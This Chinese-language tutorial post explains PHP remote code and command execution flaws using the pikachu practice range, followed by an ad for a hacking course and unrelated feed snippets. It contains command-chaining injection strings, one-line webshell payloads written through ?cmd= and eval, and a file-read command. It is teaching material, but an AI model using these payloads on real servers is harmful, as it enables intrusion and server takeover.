news 2026/4/23 12:35:43

网安渗透测试教程—RCE远程代码执行漏洞详解!零基础小白入门教程建议收藏!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网安渗透测试教程—RCE远程代码执行漏洞详解!零基础小白入门教程建议收藏!
什么是RCE?

RCE(Remote Code Execution)远程代码执行漏洞(有时也叫命令执行漏洞)是一种安全漏洞,攻击者可以利用它来执行远程代码,从而控制受影响的系统。这种漏洞通常出现在应用程序或软件中,攻击者可以通过输入恶意构造的指令或数据,使得应用程序或软件在执行时执行攻击者指定的代码。

RCE的范围比较广,只要渗透的最终结果可以实现执行命令或者代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE,通常情况下RCE漏洞都可以归为高危漏洞!

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
命令执行漏洞:

纠结RCE和命令执行漏洞有什么区别没有太多意义,两者最终的目的都是执行恶意命令,一方认为命令执行漏洞勉强可以算是RCE的子集.

应用程序有时需要调用一些执行系统命令的函数,比如php中的system、exec、shell_exec等,当用户调用这些函数时,就可以将恶意系统命令拼接到正常命令中,从而在执行正常命令的同时执行恶意系统命令,这就是命令执行漏洞。-----通常情况下,只看网页的源代码是很难发现命令执行漏洞的,需要我们通过审计后台源代码来进行有效捕捉,这就需要我们有一定的代码审计能力.

命令执行漏洞:直接调用操作系统命令

命令执行漏洞的出现通常是由于以下原因之一:

  1. 输入验证不足:如果应用程序或系统没有对用户输入进行充分的验证和过滤,攻击者便可以通过输入恶意构造的指令或数据来绕过安全措施,导致命令执行漏洞。
  2. 权限提升:在某些情况下,攻击者可以利用其他漏洞(如权限提升漏洞)来获得更高的权限,从而利用命令执行漏洞来执行任意命令。
  3. 安全更新漏洞:在应用程序或系统进行安全更新后,如果没有正确地处理更新产生的漏洞,可能会导致新的命令执行漏洞。

下面一方就以PHP命令执行漏洞为例,来为大家深入讲解命令执行漏洞

命令执行漏洞–常见函数
(1)exec:

在PHP中,exec函数是一个用于执行外部命令的函数。它允许你在PHP脚本中执行系统命令,并返回命令执行的最后一行内容,命令执行失败时返回false

<?php echo exec($_POST['cmd']); ?> <?php print exec($_POST['cmd']); ?>

如下图,在网站根目录下创建一个shell.php的文件,作用就是执行并显示通过GET方法传递的命令

通过浏览器访问shell.php,由于没有指定参数cmd,页面回显了报错信息:

命令whoami被成功执行并回显在页面上:

但需要注意的是,执行的系统命令的结果只有最后一行会被输出:

(2)system:

与exec类似,system函数也是一个用于执行外部命令并返回输出的函数。但是它接受一个命令字符串作为参数,并在命令执行后将所有结果作为一个字符串返回。如果 PHP 运行在服务器模块中,system() 函数还会尝试在输出完毕之后,自动刷新 web 服务器的输出缓存,如果执行失败则返回false

如图,system将结果整体作为一个字符串返回:

(3)passthru:

passthru是PHP中的一个函数,用于执行指定的外部命令,并将标准输出直接发送到输出缓冲区。这意味着,当passthru函数被调用时,它将执行指定的命令,并将命令的输出直接返回给调用者,而不需要等待命令执行完毕。

passthru函数会立即执行指定的命令,并将命令的标准输出直接发送到当前脚本的输出缓冲区。这意味着调用passthru函数后,命令的输出将立即显示在屏幕上,而不会被缓存或延迟输出。由于passthru函数会立即执行命令并返回输出,因此它通常用于需要快速获取命令执行结果的场景。

例如当执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,就需要用此函数

(4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

(5)反引号 backquote

实际上,shell_exec() 函数是反撇号 (`) 操作符的变体:

反撇号(也叫反引号)在TAB键的上方,键盘的左上角

在PHP中,反撇号(`)操作符被用来通过shell执行系统命令,并将该命令的输出结果作为字符串返回。这是一种特殊的字符串类型,被称为反引号字符串。

使用反撇号操作符可以将一个系统命令包裹在反引号字符串中,然后PHP会执行这个命令,并将输出结果作为字符串返回。这样,就可以在PHP代码中方便地执行系统命令,并获取其输出结果进行进一步处理或显示。

需要注意的是,反撇号操作符在执行命令时是阻塞的,也就是说,命令执行完毕后才会返回结果。因此,如果执行的命令需要较长时间才能完成,就需要考虑使用其他方式来执行命令

<?php echo `whoami`; ?>
(6)popen()、proc_open()

这两个函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令已经执行了:

<?php popen('whoami >>D:/2.txt','r'); ?>
命令执行工作原理:

一般出现这种漏洞,是因为应用程序从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

假如在某个防火墙中有一个允许用户进行Ping操作的web页面,当用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。然而,如果设计者在构建该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,最终控制整个后台服务器!

命令执行漏洞的利用条件:

应用调用了执行系统命令的函数
将用户输入作为系统命令的参数拼接到了命令行中
没有对用户输入进行过滤或过滤不严

命令执行漏洞的漏洞分类:

代码层过滤不严:

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用

系统的漏洞造成命令注入:

bash破壳漏洞(CVE-2014-6271)

调用的第三方组件存在代码执行漏洞

如WordPress中用来处理图片的ImageMagick组件

JAVA中的命令执行漏洞(struts2等)

ThinkPHP命令执行;

命令执行漏洞的利用方式:

最主要的一个利用方式就是通过操作系统的特殊命令来"拼接"命令:

Windows中的特殊符号:
|直接执行后面的语句ping 127.0.0.1lwhoami
||前面出错执行后面的,需要前面的语句为假ping 2 || whoami
&whoami前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面

必须为真

ping 127.0.0.1&&whoami
Linux中的特殊符号:
;前面的执行完执行后面的ping 127.0.0.1 ; whoami
|管道符,显示后面的执行结果ping 127.0.0.1 l whoami
||当前面的执行出错时执行后面的ping 1 ll whoami
&前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1 & whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真ping 127.0.0.1 && whoami
pikachu靶场演练:
exec"ping":

这里以pikachu靶场的RCE栏目为例:

如图,这里提供了一个PING接口,可以用于执行ping 命令:(这里的中文显示成乱码了(◎﹏◎))

现在先试试127.0.0.1 | whoami:(这里传输到服务器上的就是 ping 127.0.0.1 | whoami 由于是windows系统,最终直接执行了whoami,ping命令被忽略)

再试试 127abc || whoami : (此时ping 127abc为假,后面的whoami为真,结果就是先显示报错信息,再返回whoami的结果)

其他常见的利用方式(各种POC的补充)

1.获取webshell的一句话木马:

一、直接获取webshell

?cmd=echo “<?php @eval($_REQUEST[q]); ?>” > C:\phpstudy\PHPTutorial\WWW\webshell.php

二、显示当前路径

?cmd=cd 查看当前路径

三、读文件

?cmd=type c:\windows\system32\drivers\etc\hosts 查看系统的hosts文件

四、写文件

?cmd=echo "<?php phpinfo(); ?>" > C:\shell.php
代码执行漏洞:

代码执行漏洞:将用户输入的字符串当作代码执行

命令执行与代码执行有什么区别吗?
1. 涉及到的函数不同 ##################################### 2. 执行的方式不同: 命令执行:一般指执行操作系统命令 远程代码执行:一般指执行脚本代码
命令执行漏洞和代码执行漏洞是不同类型的漏洞, 但它们都是由于安全措施不足或程序设计错误导致的。 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ———————————————————————————————————————————————————————————————————————————— 命令执行漏洞是指攻击者通过在程序或系统中插入恶意命令,利用程序或系统的漏洞, 执行未经授权的命令,从而获得系统权限。这种漏洞通常出现在操作系统或应用程序中, 攻击者可以利用该漏洞执行各种恶意操作,如窃取、修改或删除数据等。 代码执行漏洞则是指攻击者通过在程序中插入恶意代码,利用程序中的漏洞, 执行未经授权的代码。这种漏洞通常出现在应用程序的源代码中, 攻击者可以利用该漏洞执行各种恶意代码,如病毒、蠕虫等。
代码执行漏洞的主要来源:

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

常见的能够将字符串转换为代码的函数有:

其中PHP 中的assert函数受到php的版本限制,在php7.0.29之后的版本不支持动态调用

低版本:

<?php assert($_POST['code']); ?>

7.0.29版之后:

<?php $a='assert'; $a(phpinfo()); ?>

最后再补充一个,在此中间的PHP代码会被解析:∗∗{},在此中间的PHP代码会被解析:**,在此中间的PHP代码会被解析:∗∗{phpinfo()};**

pikachu靶场演练:
exec"eval":

这个更简单,输入想要执行的PHP代码即可,这里输入"phpinfo();":

发现pikachu将语句的执行结果回显在页面上:

再来尝试更复杂一点儿的,创建一个文件并写入一句话木马:

fputs(fopen('shell.php','w'),'<?php assert($_POST[a]);?>');

fputs() 函数写入文件,是 fwrite() 函数的别名,

fopen() 函数打开文件或者 URL,“w”:写入方式打开,如果文件不存在则尝试创建之.

靶场服务器中成功出现我们创建的木马文件(这里文件只出现了片刻就被"杀毒"了┗( T﹏T )┛):

接下来查看一下靶场的源代码,可以发现这里没有对用户的输入进行任何校验:

小结:

总的来说,命令执行漏洞主要的利用对象是常用的系统命令,而代码执行漏洞的利用对象主要是那些能够接收字符串并将其当作代码执行的函数。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 7:42:29

Python小白必看:快马平台3小时入门秘籍

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 设计一个零基础Python入门教程&#xff0c;包含&#xff1a;1)最简安装指引(使用快马云端环境)&#xff1b;2)5个基础概念交互式学习(变量、列表、if、for、函数)&#xff1b;3)每个…

作者头像 李华
网站建设 2026/4/12 21:53:58

PPTX转Markdown全攻略:从入门到精通的高效转换方案

PPTX转Markdown全攻略&#xff1a;从入门到精通的高效转换方案 【免费下载链接】pptx2md a pptx to markdown converter 项目地址: https://gitcode.com/gh_mirrors/pp/pptx2md 还在为PowerPoint演示文稿的格式转换而烦恼吗&#xff1f;想要将精美的PPT内容快速转换为Ma…

作者头像 李华
网站建设 2026/4/18 15:20:36

终极API测试工具:快速上手指南与实战技巧

终极API测试工具&#xff1a;快速上手指南与实战技巧 【免费下载链接】soapui SoapUI is a free and open source cross-platform functional testing solution for APIs and web services. 项目地址: https://gitcode.com/gh_mirrors/so/soapui 在当今软件开发环境中&a…

作者头像 李华
网站建设 2026/4/23 7:11:06

OpenBullet终极指南:快速掌握自动化数据抓取技巧

OpenBullet终极指南&#xff1a;快速掌握自动化数据抓取技巧 【免费下载链接】openbullet The OpenBullet web testing application. 项目地址: https://gitcode.com/gh_mirrors/op/openbullet OpenBullet是一款功能强大的开源自动化数据抓取工具&#xff0c;专为需要高…

作者头像 李华
网站建设 2026/4/23 9:52:11

如何用AI快速搭建X站?快马平台实战指南

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 请帮我生成一个X站的前端后端项目&#xff0c;要求包含用户注册/登录、内容发布、分类浏览、搜索等功能。前端使用Vue3ElementUI&#xff0c;后端使用Node.jsExpress&#xff0c;数…

作者头像 李华